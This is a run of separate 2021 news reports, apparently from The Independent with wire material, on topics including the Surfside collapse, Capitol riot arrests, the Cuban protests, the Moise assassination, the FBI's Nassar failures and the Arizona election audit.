American officials have said that the response team in Surfside, which includes rescuers from Israel and Mexico, faced inclement weather and safety hazards when it began, including a persistent fire among the debris. Claims from Chinese newspapers that survivors waited 16 hours before response teams arrived are false, said Surfside Mayor Charles Burkett. He was at the site a half-hour after the collapse, he added, and by that time, rescue operations were already underway.

It was a series of impossible situations on top of an impossible situation, Mr Burkett said. And still, every one of those search-and-rescue teams poured their heart and soul into it.

There isnt an official database tracking building collapses in China, but there have been at least two other major incidents since 2020. In March last year, 29 people died when the Xinjia Express Hotel, a Covid-19 quarantine facility in the city of Quanzhou, fell apart. Government investigators later said that hotel owners had added new stories without notifying authorities, causing the building to exceed its approved weight. In August, the ceiling of a restaurant in Shanxi caved in, killing 29 people.

I dont think its fair to say that what happened in Surfside wouldnt happen in China, said Aidan Chau, a researcher at the labour-rights group China Labour Bulletin, which tracks workplace accidents in the country, including post-construction building collapses. According to the Bulletins accident map, there have been more than 3,400 workplace accidents resulting in deaths or injuries since 2015.

In the wake of the devastating 2008 Sichuan earthquake, Mr Chau said, Chinese officials acknowledged that shoddy construction and corruption contributed to the collapse of about 7,000 classrooms and the deaths of thousands of schoolchildren.

This kind of practice continues to happen in new construction sites, Mr Chau said, especially in inland provinces where contractors are less familiar with safety codes and often rely on second-hand or cheap equipment.

Adam Mayer, a California architect who used to work in China, said both countries will need to invest in more rigorous safety and maintenance checks as building infrastructure ages. Theres more commonalities here than differences, he said.

Some Chinese citizens agree, although their voices have been largely drowned out by pro-government actors.

The discourse on here is getting more and more disgusting, one user said Monday on Weibo. Human life is so important, why dont we spend this time praying, trusting the rescuers? Instead, we have to compare this and that.

Whats awkward about it? another user retorted. People can pray for the people who are trapped while feeling in awe for how good China is.

The Washington Post
Federal authorities in the US on Tuesday arrested five members of a family on charges related to storming the countrys Capitol Hill building on 6 January.

Joshua Munn, 24, was arrested in western Wisconsins Melrose village, about 275 kilometres northwest of Milwaukee but was released after an initial federal court appearance in Madison, Wisconsin, according to the Associated Press (AP).

His 54-year-old father Thomas Munn, mother Dawn Munn, 55, and his sisters Kristi Munn, 29, and Kayli Munn, 18, were arrested in Borger, about 65 kilometres northwest of Amarillo in the Texas Panhandle. They were booked into the Randall County Jail in Amarillo pending their initial court appearances on Wednesday.

This was one of the largest single-day arrests of those accused in a Capitol riots case made by federal authorities and the largest family charged together so far, according to news channel CNN.

Documents filed in a federal court in Washington, DC, where they will be prosecuted, said the family travelled from Texas to DC to join the protests. Now, all five face several charges, including knowingly entering a restricted area without authorisation and allegedly engaging in disorderly conduct.

On 6 January, a mob, allegedly incited by former president Donald Trump, stormed Capitol Hill and attacked police officers tasked to protect the building. More than 500 people have been arrested in relation to the Capitol riots so far.

CNN reported that social media posts and videos highlighted by prosecutors show that the family members entered the Capitol building through a broken window on 6 January and traversed the building together.

They had also brought another family member, a minor who followed his family inside the building as well. The minor was, however, not identified by name or image in court records and was not charged.

According to the media reports, FBI officials received a tip about Kristi Munns participation in the Capitol riots from a tipster who shared screenshots of her account on Facebook following which investigators checked Facebook posts from the other family members as well to track their journey from Texas.

Ms Munn, for instance, posted a picture of her family members in camouflage clothing and said: Washington DC here we come !!! #StopTheSteal #TrumpisMyPresident (sic).

Even after the riots, family members continued to discuss their support for Mr Trump on social media, according to CNN.

Additional reporting by agencies
The mother of a 13-year-old girl who was killed by a pack of dogs on the Navajo Nation has said she never thought that would happen.

Lyssa Rose Upshaw was walking in Fort Fefiance, a county within the Navajo Nation and Arizona, when dogs are thought to have attacked her in mid-May.

The girls mother, Marissa Jones, found her daughters body curled up on a dirt track and covered in dirt. She told the Associated Press that she suspected dogs, although she was waiting for confirmation from officials.

An autopsy requested by the AP confirmed that the teenager had died from a dog attack, and that it was accidental. The autopsy was carried out by the medical examiner's office in Coconino County, Arizona.

The report follows Navajo Nation President Jonathan Nez recently vetoing a bill that would hold dog and animal owners accountable for attacks. It is not currently tribal law.

It is not yet clear if the teenagers death will be referred to the federal courts by Navajo officials, with the tribes courts only able to sentence people to a year at most.

The case is pretty far from being closed, far from being just put aside as an accident or a civil matter or anything like that, the Navajo Nations head of criminal investigations told AP.

We're still very aggressively pursuing to understand the case to the extent to where if there are any criminal elements attached to what happened.

Ms Jones added that her baby girl, who had aspirations of running on the high school cross country team, deserved more compassion and sympathy from her neighbours who owned the dogs.

She added that a further investigation was necessary, and that whoever is found responsible should face jail time or a fine, even if that was difficult, and more attention from investigators on the case.

I'm hoping and I'm praying for my daughter to get her justice, Ms Jones said.

Additional reporting by the Associated Press.
One man has died following a clash between protesters and police in Cuba, as an influencer and activist appeared to be arrested live on air during an interview in which she criticised the government.

Dina Stars was reportedly detained by Cuban authorities when she was speaking to Spanish news programme Todo Es Mentira, as the island nation was rocked by widespread protests.

Amid the clashes, one man died and more than 140 have been arrested or been reported missing during the rare protests against the island nations communist regime.

Diubis Laurencio Tejeda, 36, died in a Havana suburb on Monday as protesters faced the police. The interior ministry of Cuba didnt reveal the cause of death but alleged that he had been a part of a group that attacked a state facility. But witnesses say government forces attacked the protesters.

State media said that Mr Tejeda had been involved in disturbances in the La Guinera neighbourhood on Monday, where a group reportedly attacked a government building. State media reported that several people suffered injuries, including members of the security forces.

The interior ministry accused protesters of vandalism, setting fires, and of attacking both police officers and civilians. But witnesses have said police attacked peaceful protesters.

Resident Waldo Herrera told Reuters that officers shot at protesters.

I think the Communists have lost control, they wont have a solution to this situation, he said.

Influencer and activist Dina Stars has been a vocal critic of the government and was speaking to Spanish Cuatro TV on Tuesday when she was seemingly detained.

The broadcast shows a friend enter her room to say security services are outside.

Security is out there  I have to go out, Ms Stars told presenter Marta Flich.

I make the government responsible for whatever happens to me, she said as she stood up to face them. Theyre forcing me to go with them. I have to go, she said, adding that they told her she had to come with them to a Havana police station.

Ms Stars, 25, have been using her online presence to report on the protests, previously sharing a video of a Havana demonstration and images of counter-protesters in favour of the government carrying sticks.

On Instagram, where she has 71.000 followers, she posts using the hashtag #SOSCUBA, which is popular among members of the protest movement calling for the government to resign.

The reported arrest comes after days of tense protests in Havana and around the country. The demonstrations, prompted by economic struggles, have led to a government crackdown  social media and messaging apps such as Facebook, Instagram, WhatsApp, and Telegram were suspended on Monday, according to internet monitoring company NetBlocks.

The government claims that the protests have been organised and supported by the US, and also blamed the countrys financial crisis on US sanctions implemented by the Trump administration following former President Barack Obamas attempt to normalise relations with Cuba during his presidency.

As hundreds of protesters shouted down with communism in the Havana suburb of La Guinera on Monday, the protest turned violent as demonstrators met police. Reuters reported that two residents heard gunfire.

Ms Stars is one out of around 148 people who have been arrested or disappeared since protests began on Sunday. Among them are seven journalists, according to US-based organisation Cubalex.

The group said 12 people had been released as of Tuesday afternoon. They dont want anyone to tell the world what is happening. Theyve cut off the internet, the group tweeted.

A majority of those detained were arrested over the weekend with a smaller number being picked up in the following days.

It is really hard to know and verify what is happening now because of the internet blackouts, Amnesty International researcher Louise Tillotson told NPR.

With no information from official sources, she added that we dont know if these people will be charged, what they will be charged with, or if they will be let go.

We dont even know where they are so its hard to get specific information, she said.
A record 93,000 people died of drug overdoses last year as the country continues to struggle with its ongoing opioid crisis amid the coronavirus pandemic.

The record number reported by the US government on Wednesday shows a dramatic increase of more than 21,000 deaths since 2019, when there was 72,000 recorded drug overdose deaths, marking a 29 per cent increase.

Experts have said that the ongoing public health crisis has exacerbated underlying issues, making it harder for those struggling with addiction to access help.

This is a staggering loss of human life, Brandon Marshall, a Brown University public health researcher who tracks overdose trends, told the Associated Press.

Health experts have said that the prolonged lockdown amid the pandemic alongside a reduction in services has isolated those with drug addictions.

The pandemic has led to increased substance use across the board, Kimberly Sue, medical director of the National Harm Reduction Coalition, an advocacy group that tries to prevent overdose deaths, told The Washington Post.

Ms Sue says people have turned to drugs as they sought to manage stress, isolation, boredom, anxiety, depression, unemployment, relationship and child care issues, and housing instability.

However, Shannon Monnat, an associate professor of sociology at Syracuse University, noted to the AP that what she believes to be behind the surge is people who had already been struggling with addiction.

The US opioid crisis began in the 1990s with the release of powerful new prescription drugs to treat chronic pain, which were replaced by heroin following regulations on their use in 2012 and then by fentanyl, a dangerously powerful opioid.

Fentanyl was developed to treat intense pain from ailments like cancer but has increasingly been sold illicitly and mixed with other drugs.

Whats really driving the surge in overdoses is this increasingly poisoned drug supply, Prof Monnat said. Nearly all of this increase is fentanyl contamination in some way. Heroin is contaminated. Cocaine is contaminated. Methamphetamine is contaminated.

The 21,000 increase between 2019 and 2020 is the biggest year-to-year jump since the count rose by 11,000 in 2016.

Every one of those people, somebody loved them, Keith Humphreys, a psychiatry professor at Stanford University and an expert on addiction and drug policy, told The Post.

Its terrifying. Its the biggest increase in overdose deaths in the history of the United States, its the worst overdose crisis in the history of the United States, and were not making progress. Its really overwhelming.

As a result of the hundreds of thousands of additional deaths due to the pandemic, the nation saw its most deadly year in its history across 2020, the Associated Press reported.

Additional reporting by the Associated Press
A seven-year-old boy was killed in a home elevator accident just days after federal regulators put pressure on another elevator manufacturer to fix a similar problem.

The boy, from Canton, Ohio, got trapped between the inner and outer doors of the elevator, and was crushed to death as the elevator moved, reports The Washington Post.

He and his family had arrived at a beach rental home in North Carolinas Outer Banks on vacation earlier that day.

This kind of residential elevator has a small gap between the two doors, just large enough for a young child to fit. According to a 2019 Washington Post investigation, this is a well-known safety hazard, which the industry is aware of. Its easily rectified with a $100 plastic or foam insert to block the space.

Its not the first time a child has been hurt by this model of elevator. In 2019, a four-year old got pinned under the elevator in his grandfathers home outside Salt Lake City, and was only just rescued in time by his frantic father and brother.

Before that, a string of deaths and injuries, reported to the Consumer Product Safety Commission, date back to 1981  eight children were killed and two more seriously injured in similar accidents since then, according to records. Experts say the real number is likely much higher.

But despite numerous petitions from the victims families, the CPSC did not order a safety recall or a fix from manufacturers. Industry groups have not taken responsibility for the danger, arguing that the problem is complicated.

Just last week, the CPSC voted to sue ThyssenKrupp Access, part of a German conglomerate which is one of the worlds largest elevator manufacturers after talks broke down. They had been negotiating over the CPSCs requirement that they launch a recall effort to inspect and fix all of their residential elevators, which have been tied to two accidents involving children  one of which was fatal, the other a serious brain injury.

The outcome of the lawsuit remains to be seen and does not address the dozen or so other companies continuing to produce potentially dangerous elevators.
The investigation into the July 7 assassination of Haitian President Jovenel Moise has so far resulted in at least 23 arrests, with three suspects killed, but no clear picture yet of who ordered the killing and why. What has emerged from the limited disclosures from Haitian authorities, officials in Colombia and elsewhere and people who know the suspects is a growing interconnected web of players. Here's a look at some of the key figures so far:

JOVENEL MOISE

Moise was an obscure businessman from northern Haiti with no political experience when he was chosen by the previous president, flamboyant musician Michel Martelly, as the Tet Kale Party candidate. Moise was declared winner of the 2015 election with a plurality of votes in a crowded field, but the results were thrown out amid suspicions of fraud. After another election, he took office in February 2017 with pledges to strengthen institutions, fight corruption and create jobs. He presided over spiraling violence, widespread power outages and food shortages made worse by the pandemic. He began ruling by decree in January 2020 after parliamentary elections were delayed, prompting increased unrest and charges that he was becoming increasingly authoritarian. In the predawn hours of July 7, gunmen, allegedly including former Colombian soldiers, shot him to death inside his home without wounding any members of the presidential security force.

___

MARTINE MOISE

The first lady was seriously wounded in the attack and evacuated to Florida, where she remains hospitalized. She released an audio statement from the hospital accusing mercenaries of seeking to assassinate the presidents dream, vision and ideas for the country but does not name any possible suspects. She says that whoever was responsible do not want to see a transition in the country. It's unclear if she has been questioned by the magistrate judge in charge of the investigation.

___

CLAUDE JOSEPH

Joseph is interim prime minister of Haiti and was about to be replaced when the assassination occurred. Joseph was named to the post in April following the resignation of Joseph Jouthe, who held the post for just over a year. Two days before the assassination, Moise announced that he had chosen a new prime minister, neurosurgeon Ariel Henry. But the new prime minister had not yet been sworn into office as of July 7. After the assassination, Joseph announced he would be serving as acting prime minister and declared a state of siege in the country, similar to martial law. Henry says he should be prime minister since that was the expressed intention of Moise. The U.S. has recognized Joseph as acting prime minister, but a U.S. delegation also met with Henry and Sen. Joseph Lambert, who is president of Haiti's dismantled Senate which isn't operating because the lawmakers' terms expired without new elections being held. Lambert also aspires to run the country. U.S. officials say they want to see elections, which had been scheduled for September.

___

CHRISTIAN EMMANUEL SANON

Sanon is a Haitian-born doctor, pastor and businessman and longtime U.S. resident who has been detained as a suspect in the assassination plot. He has said he has done charitable work in Haiti, where he has also owned several businesses,. In a 2011 video on YouTube he expressed a desire to be president of the country and accused its leaders of corruption. Following his arrest, Haitis national police chief, Leon Charles, said Sanon flew to Haiti in June on a private jet with a private security team with the intention of taking over as Haiti's president. Charles said that after Moise was killed, one suspect phoned Sanon, who then contacted two people believed to be the masterminds of the plot. The chief did not identify them or say if police know who they are. Friends of Sanon have expressed skepticism that he would have been involved in a violent plot. It does not appear that Sanon, who has run a string of failed businesses in the U.S., filed for bankruptcy in 2013 and was largely unknown in Haitian political circles, would have the resources or political backing for the operation.

___

ANTONIO ENMANUEL INTRIAGO VALERA

Intriago Valera is a Venezuelan emigre in the Miami-area who runs Florida-based CTU Security. Colombias national police chief, Gen. Jorge Luis Vargas, said that CTU Security used its company credit card to buy 19 plane tickets from Bogota to Santo Domingo for the Colombian suspects. An associate of Sanon has said that the businessman attended a recent meeting in Florida with Intriago at which a presentation was made about developing Haiti.

___

DIMITRI HERARD

Herard is head of general security at Haitis National Palace. The Colombian national police chief said Herard flew to Colombia, Ecuador and Panama months before the assassination, and Colombian police are investigating whether he had any role in recruiting the mercenaries. In Haiti, prosecutors are seeking to question Herard.

___

FORMER SEN. JOHN JOEL JOSEPH

Joseph is a well-known politician who is an opponent to the Tet Kale party to which Moise belonged. He was elected under the party of Rene Preval and served for six years. Police say he is one of five fugitives sought in the assassination and described him as being armed and dangerous.

___

RODOLPHE JAAR

Police are also seeking Jaar in the killing of Moise, saying he is one of five suspects on the run. Jaar uses the alias Whiskey and was indicted in 2013 with two other men in federal court in South Florida on charges of conspiring to smuggle cocaine from Colombia and Venezuela through Haiti to the U.S. He pleaded guilty and was sentenced to 46 months in prison, according to court records. At his sentencing hearing in 2015, Jaars attorney told the court that Jaar had been a confidential source for the U.S. government for several years before his indictment.

___

JOSEPH FELIX BADIO

Badio is another of the five suspects being sought by police in the assassination. He previously worked at Haiti's Justice Ministry and joined the governments Anti-Corruption Unit in March 2012. The agency issued a statement saying Badio was fired in May following what it called serious breaches of ethical rules that it did not specify, adding that it filed a complaint against him.
An Iranian-American journalist who was allegedly the target of a wild, elaborate plot by Iran to use a speedboat to kidnap her in New York City, has vowed she will not be silenced.

Federal prosecutors said they had charged four Iranians with plotting to kidnap journalist and activist Masih Alinejad, who lives in Brooklyn and is an outspoken critic of the Iranian government. An American-Iranian who lives in California was arrested earlier this month and charged with providing funds to the plot.

An indictment released by prosecutors said four named Iranian agents had hired a New York-based private investigator, under false pretences, to film Ms Alinejad and other family. They said they also researched the option of spiriting her away from the city on a speedboat, and possibly taking her to Venezuela, a nation with friendly relations with Iran.

Ms Alinejad said she would not let the plot silence or intimidate her.

The Republic is that close to me  even here in Brooklyn, she said, speaking to CBS News. And this is the nature of the Islamic Republic, kidnapping the dissidents and executing them.

Yet, she said she would not stop her work, which draws an enormous audience on social media.

Asked if she was going to continue writing, she said: Oh yeah, I am not going to give up.

Indeed, she suggested the fact that the authorities were keen to silence her, shows the government in Iran is scared of me. She added: It gives me hope that the government is scared of the voice of people, because Im the voice of people.

Prosecutors said the plot to snatch Ms Alinejad was part of a broader scheme to lure three individuals in Canada and a fifth person in the United Kingdom, along with individuals in the United Arab Emirates, to Iran.

It said the idea of using a speedboat only was raised after efforts to persuade Ms Alinejad to trick her to visit a third country, in the Middle East, had failed.

Even investigators appeared to concede there was something of a fantastical element to the plot, with William Sweeney, the head of New Yorks FBI office, telling The Guardian that the charges had the ring of some far-fetched movie plot.

Indeed, while Iran has in recent years been successful in luring back dissidents to the region where they have been seized and taken back to Tehran, they have not carried out such plots in Europe or the US.

 Biden says Iran will 'never' get a nuclear weapon on his watch

Experts pointed out Iran has only a very small number of diplomats operating in the US - UN representatives based in New York. Some also pointed out the difficulty of transporting someone by speedboat from New York to Venezuela - a distance of more than 2,100 miles, and an eight-hour journey by flight.

At the White House, the presidents spokesperson, Jen Psaki, said Irans alleged plans were dangerous and despicable

We categorically condemn Irans dangerous and despicable reported plot to kidnap a U.S. citizen on US soil, she said.

In Tehran, a spokesperson for the Iranian Foreign Ministry, Saeed Khatibzadeh, said the accusations were baseless and ridiculous.

Making such an imaginary story is not unlikely by the US. Its entire short history is full of assassination, kidnapping and sabotage in other countries, said Mr Khatibzadeh.

In 2019, Ruhollah Zam, a 42-year-old dissident writer who fled Iran in 2011, was lured from his exiled home in France to Iraq, where he was arrested by Iraqi police and handed to the Iranians. He was convicted without any evidence and then put to death in December 2020.

Meanwhile, in the summer of 2020, another Iranian-American, Jamshid Sharmahd, who acted as a spokesman for a militant Iranian opposition group, was tricked to visit Dubai where he was kidnapped by Iranian agents. He is still in jail in Iran after being forced to make a confession on video.

At the time of his arrest, his son, Shayan Sharmahd, told the Associated Press his family was seeking help from the international community.

He said: Were seeking support from any democratic country, any free country. You cant just pick someone up in a third country and drag them into your country.

Additional reporting by agencies
The Federal Bureau of Investigation botched its Larry Nassar investigation and covered up mistakes, allowing abuse to continue for months, a damning internal report has found.

Nassar, the former team doctor for USA Gymnastics, was sentenced to 175 years in prison for sexually assaulting hundreds of girls, including US Olympians Aly Raisman, Gabby Douglas, Simone Biles, and McKayla Maroney.

Now the Justice Departments internal watchdog has said that the FBI made serious errors in its probe into the abuse and did not treat it with the utmost seriousness.

Senior officials in the FBI Indianapolis Field Office failed to respond to the Nassar allegations with the utmost seriousness and urgency that they deserved and required, made numerous and fundamental errors when they did respond to them, and violated multiple FBI policies, the report states.

Nassar was first reported to the Indianapolis FBI office in 2015, but the report confirms that the law enforcement agency conducted no investigative activity in the matter for more than 8 months after it did a phone interview with a victim in September 2015.

During that period of time, as alleged and detailed in numerous civil complaints, Nassars sexual assaults continued, the report adds.

And when the claims against Nassar became public, officials at the Indianapolis FBI office did not take responsibility for their failures.

Instead, they provided incomplete and inaccurate information in response to FBI internal inquiries to make it appear that the Indianapolis office had been diligent in its follow-up efforts and they did so, in part, by blaming others for their own failures.

Nassar was eventually charged and convicted of child sexual abuse in Michigan state court.

He also pleaded guilty to federal child pornography charges after an investigation by police at Michigan State University, where he worked.

That university has agreed a $500m settlement with more than 300 of Nassars victims.

The report also stated that the FBIs Indianapolis office did not correctly transfer the case to the FBI office nearest to Lansing, despite telling US Gymnastics that it had done so, and it did not tell state or local officials of the allegations made against Nassar.

As a result, the Lansing Resident Agency did not learn of the Nassar allegations until over a year after they were first reported to the FBI and then learned of them only from the MSUPD, the report states.

The FBI acknowledged its failures in a statement following the release of the report.

As the Inspector General made clear in todays report, this should not have happened. The FBI will never lose sight of the harm that Nassars abuse caused, the agency said.

The actions and inactions of certain FBI employees described in the Report are inexcusable and a discredit to this organization. The FBI has taken affirmative steps to ensure and has confirmed that those responsible for the misconduct and breach of trust no longer work FBI matters.

Prior to today, the FBI initiated improvements to make sure that serious allegations, such as these, are promptly shared with our law enforcement partners and within the FBI.

As a continuation of these efforts, the FBI is fully committed to implementing all of the recommendations made by the Inspector General.

We will take all necessary steps to ensure that the failures of the employees outlined in the Report do not happen again.

The release of the report comes as the US womens gymnastics team, including superstar Simone Biles, travels to Tokyo for the pandemic-delayed Olympic Games, which begin next week.

W Jay Abbott, the special agent in charge of the FBIs Indianapolis office, resigned from the bureau in 2017.

He was accused of waiting five weeks before telling the FBI about the first allegations received by US Gymnastics about Nassars behaviour.
At least two Amazon workers have resigned in protest at the companys decision to keep selling a book employees say compares being transgender to a mental illness.

A complaint posted to an internal message board in April gained the support of more than 467 corporate Amazon employees, NBC News reported.

The company is the second-largest employer in the US and has more than 1.3 million workers globally.

The complaint cites a decision from March when Amazon told a group of Republican Senators that the company had chosen not to sell books that frame LGBTQ+ identity as a mental illness.

A petition by employees calls for the book Irreversible Damage: The Transgender Craze Seducing Our Daughters by Abigail Shrier to be removed from the site.

Ms Shrier writes in the book that a trans epidemic is taking place among young girls.

In Amazons category for LGBTQ+ Demographic Studies, the book holds the three top spots on the bestseller list with its hardcover, softcover, and Kindle editions.

Ms Shrier has pushed back on the notion that her book frames identifying as LGBT+ as a mental illness, but Amazon employees have noted a passage in which she writes: Many of the adolescent girls suddenly identifying as transgender seemed to be caught in a craze  a cultural enthusiasm that spreads like a virus.

Ms Shrier then writes that a craze is a crowd mental illness. She also compares therapists who affirm the gender of transgender patients to a therapist who affirms a persons anorexia by telling them that they are fat.

We wouldnt think such a therapist was compassionate. We might think she was a monster, Ms Shrier writes.

Selene Xenia, who identifies as transgender, was a software engineer at Amazon but decided to resign as the company continued to sell the book.

She was happy that Amazon stopped selling When Harry Became Sally: Responding to the Transgender Moment, but resigned in June because Irreversible Damage had not been removed.

The book literally has [craze] in the title and considers being transgender a mental illness in many senses throughout the book, Ms Xenia told NBC News.

I found it extremely hypocritical for Amazon to say that it would stock this book and not another similar one, she added. It looks like Amazon had to remove that particular book for PR reasons, not because they felt morally obligated to.

Ms Shrier told NBC in a statement: This issue wont go away just because some disgruntled Amazon employees wish it would. And banning the book wont help these girls or anyone else.

My book goes out of its way to honour the experiences of transgender adults, never disparages them, and never implies that the trans identity is a mental illness.

She tweeted in early May: Anyone who thinks my book advances a narrative of transgender identity as a disease hasnt read it, or is a bona fide idiot.

Amazon spokeswoman Cecelia Fan told NBC News in a statement: As a bookseller, we believe that providing access to written speech and a variety of viewpoints is one of the most important things we do  even when those viewpoints differ from our own or Amazons stated positions.

In an internal thread concerning the complaint, one employee wrote: Due to our success and scale, our customers will come to us seeking to educate themselves about their transgender children. We have a responsibility to make sure that we do not use our powerful market position to amplify the harm this book causes.

Dr Erica Anderson is the president of the United States Professional Association for Transgender Health and a clinical psychologist at the Child and Adolescent Gender Centre.

She told NBC that her concern is that people would look to this book for guidance about these things rather than the professional societies, including my own, which all observe and have for some years that gender-affirming care for youth is medically necessary and that there is a scientific basis for providing such care, which in some cases is lifesaving for young people.
Developer and reality TV personality William Hutchinson pleaded not guilty Tuesday to raping an unconscious 16-year-old girl at his Southern California vacation home.

The 63-year-old, who is free on $100,000 bail, declined to comment after the hearing in Orange County Superior Court, telling reporters: Have a nice day, no thank you" as he got into a car, the Orange County Register reported.

Hutchinson is known for his two seasons on the Lifetime series Marrying Millions, which followed his romance with 23-year-old fiancee, Brianna Ramirez. Hutchinson owns Texas-based Dunhill Partners, a commercial real estate company that develops, leases or manages shopping centers and other properties nationwide.

Prosecutors accused Hutchinson of taking two 16-year-old girls on several trips this year to his vacation home in Laguna Beach and giving alcohol to one girl in April before raping the unconscious teen. He is accused of sexual battery of the second teen in May.

Hutchinson also is charged in Texas with sexual assault tied to allegations of groping a 17-year-old girl at his Dallas-area home in May. He is the teen's legal guardian, court documents say.

Hutchinson, who has denied wrongdoing, surrendered to police in Highland Park, Texas, last week and is free on $30,000 bond in that case.

In California, Hutchinson pleaded not guilty to a felony count of rape of an unconscious person and five misdemeanor counts of sexual battery. If convicted, he could face up to eight years in state prison and 2 1/2 years in county jail.
A pastor in Texas has spoken out after at least 125 of his congregation - including children - became infected with coronavirus following a student ministry camp that was reportedly mask-optional.

Pastor Bruce Wesley of Clear Creek Community Church posted a video of his prayer for God to heal his sick congregation.

"Lord, we didn't want to be in the news, at least not for this, maybe for serving or some extreme generosity, but not this," he said. "So we ask for your mercy. We ask for your healing for all of those who became sick with this virus and for their families who've have been caring for them as well. We pray for complete recovery so that people don't have any lingering effects, and we pray that you would put a stop to the spread of this virus."

The church - located near Houston - has had to cancel services for the last two weeks due to the outbreak. Health experts believe the outbreak involved the highly contagious Delta variant of the coronavirus.

The church issued a statement last week saying that a second wave of infections was afflicting its congregation following the camp, which ended on 27 June.

The Galveston County Health District said it received the first reports from the outbreak on 27 June.

A doctor speaking to The New York Times said most of the children who fell ill were old enough to have been vaccinated.

"In this outbreak, at least as of now, it appears most of the people who have tested positive are old enough to be vaccinated," Dr Phillip Keiser, the interim head of the Galveston County Local Health Authority, said.

Six of the 57 cases reported to the Galveston County Health District were breakthrough cases, meaning they were infected more than 14 days after receiving their second coronavirus vaccination.

Health experts believe that hundreds of people may have been exposed to the coronavirus variant as a result of the camp.

The health district is working closely with church leadership to investigate the outbreak, trace potential contacts and offer guidance and resources, health district officials told CNN. The youth group did not leave the campground during their stay. They did have contact with counselors from their church. No other campers were on site.

The Times reported on the church's camp and found that as far back as May mask were deemed "optional" in all areas of the camp.

Despite this, Mr Wesley has insisted that the church has practiced "strict safety protocols" to mitigate the spread of the virus at the group's events.
Royal Caribbean has been cleared of wrongdoing in the 2019 case of a toddler who fell to her death out of an open cruise ship window.

Business Insider reported that a Florida judge threw out the lawsuit on Tuesday that was filed by the Indiana parents of Chloe Wiegand.

The young girl, who was 18-months-old at the time of her death, apparently slipped from her grandfathers hands as he was holding her out of an 11th-floor window on the Freedom of the Seas. The child fell 150ft to the pier below as the ship docked in Puerto Rico.

Chloes grandfather, Salvatore Anello of Valparaiso, Indiana, was sentenced to three years of probation in February this year after pleading guilty to negligent homicide in February 2020.

US District Court Judge Donald Graham reportedly argued that Anello was to blame for the toddlers death rather than the cruise line.

The true risk-creating danger here was Mr. Anello lifting a child up to an open window, the judge wrote. The Plaintiffs have provided no evidence showing the Defendant was on notice of that danger.

Anello had previously insisted that he is colorblind and was not aware that the window was open. CCTV evidence reportedly showed the man putting his head out of the window before lifting his granddaughter up to the opening.

The lawsuit contended that the company violated industry standards by failing to provide reasonably safe windows in an area where children play on the ship alongside sufficient warning signs.

However, the judge ruled in favour of the cruise liner, saying: This court finds that a reasonable person through ordinary use of his senses would have known of the dangers associated with Anellos conduct. Accordingly, the defendant owed no duty to warn of it.

Michael Winkleman, the Wiegands attorney, told The Mail Online that they plan to appeal the decision, saying they were surprised and deeply saddened by the courts ruling.

This is a matter that should be decided by a jury, and we are confident and hopeful the appellate court will agree, Mr Winkleman told the outlet.

He added: We will be filing the appeal shortly and we will continue to fight and raise awareness about the dangers of unintentional toddler window falls. This case was always about Chloe and shining a light on her brief but beautiful life.

Additional reporting by the Associated Press
The House Oversight Committee will investigate a highly unusual partisan vote audit of more than 2 million ballots cast in Maricopa County, Arizona, where Republicans in the state Senate are leading a review of 2020 election results performed by a private company whose founder supported Donald Trumps election lies and the Stop the Steal campaign.

In a wide-ranging request for documents, the Democratic committee chairs have asked whether the firm, Cyber Ninjas, had any communications with the former president and his administration or campaign officials, Maricopa County officials, and Trump-linked associates Rudy Giuliani, Mike Lindell, Sidney Powell and Lin Wood, who have amplified stolen election conspiracy theories and other vote fraud falsehoods.

The committee is seeking to determine whether the privately funded audit conducted by your company in Arizona protects the right to vote or is instead an effort to promote baseless conspiracy theories, undermine confidence in Americas elections, and reverse the result of a free and fair election for partisan gain, chairs Carolyn Maloney and Jamie Raskin wrote.

The committee gave Cyber Ninjas CEO Doug Logan two weeks to respond to the request, sent on 14 July.

Their letter mirrors concerns raised by voting rights advocates, elections officials and the US Department of Justice, which warned Arizona Republicans that their audit process may be violating voters civil rights.

US Attorney General Merrick Garland has also criticised partisan-driven audits in the wake of 2020 election, arguing that the justifications proffered in support of post-election audits and restrictions on voting have relied on allegations of voting fraud in the 2020 election that have been refuted by  every court, federal and state, that has considered them.

Similar audits are underway in Georgia, Michigan and Pennsylvania, states that the former president definitively lost to Joe Biden.

Every one violates at least some of the following five standards: transparency, objectivity, prewritten and comprehensive procedures, competence, and security, according to the Brennan Center for Justice, which performed an analysis of partisan post-election ballot reviews.

They also waste taxpayer money, the organisations president Michael Waldman wrote. The fraudit in Maricopa County alone has cost taxpayers an estimated $2.4 million.

The process underway in Arizona, now weeks behind deadline, has been accused of going down a conspiracy theory-filled rabbit hole relying on completely unnecessary gear to find evidence of voter fraud, including the baseless idea that ballots may contain bamboo fibers  alleged evidence that they were imported from China  or contained watermarks, mirroring a QAnon-adjacent belief that the former president secretly marked ballots to prove fake ones.

Elections officials performed 15 hand-count audits, including three in Maricopa County, where a majority of the states population lives, for Arizonas general election. Maricopa County also conducted a forensic audit of ballot counting for the 2020 elections, with equipment and software tests performed by independent firms. All confirmed the outcome and found no discrepancies in results.

Though conspiracy theorists are undoubtedly cheering on these types of inspections  perhaps providing financial support because of their use  they do little other than to further marginalise the professionalism and intent of this audit, Arizona Secretary of State Katie Hobbs wrote in May.
George W Bush has attacked Joe Biden for withdrawing all remaining US forces from Afghanistan, and warned of unbelievably bad consequences for the Middle East.

The former US president told German broadcaster Deutsche Welle on Wednesday that by withdrawing all US and NATO troops from Afghanistan by 31 August, Mr Biden was making a mistake.

He told DW: "I think the consequences are going to be unbelievably bad.

"Afghan women and girls are going to suffer unspeakable harm. This is a mistake, said Mr Bush. They're just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart.

The Republican, who sent American troops to Iraq and Afghanistan following in the 9/11 terror attacks, was discussing the Talibans gains in the region as US and NATO forces fully withdraw.

The Taliban, who were removed from power by the US-led invasion, were accused of harbouring its former leader, Osama bin Laden, and others connected to the 2001 terror attacks.

Bin Laden was killed by US special forces a decade ago.

President Joe Biden announced in April that US forces would withdraw from Afghanistan by 11 September, and the 20th anniversary of the terror attacks. That process is set to be formally completed by the end of August.

He told reporters last Thursday that he would not consign another generation of Americans to the decades-long war, and that he trusted Afghan forces to repel Taliban attacks.

"We did not go to Afghanistan to nation-build. And it's the right and the responsibility of the Afghan people alone to decide their future and how they want to run their country, Mr Biden added.

The Taliban has claimed that it controls 85 per cent of the country  a figure that cannot be independently verified and is disputed by Afghan authorities  as well as strategic border crossing with Pakistan, in the wake of US withdrawal.

Mr Bush added on Wednesday that Angela Merkel, the German chancellor, feels the same way in regards to the withdrawal of US-led forces.
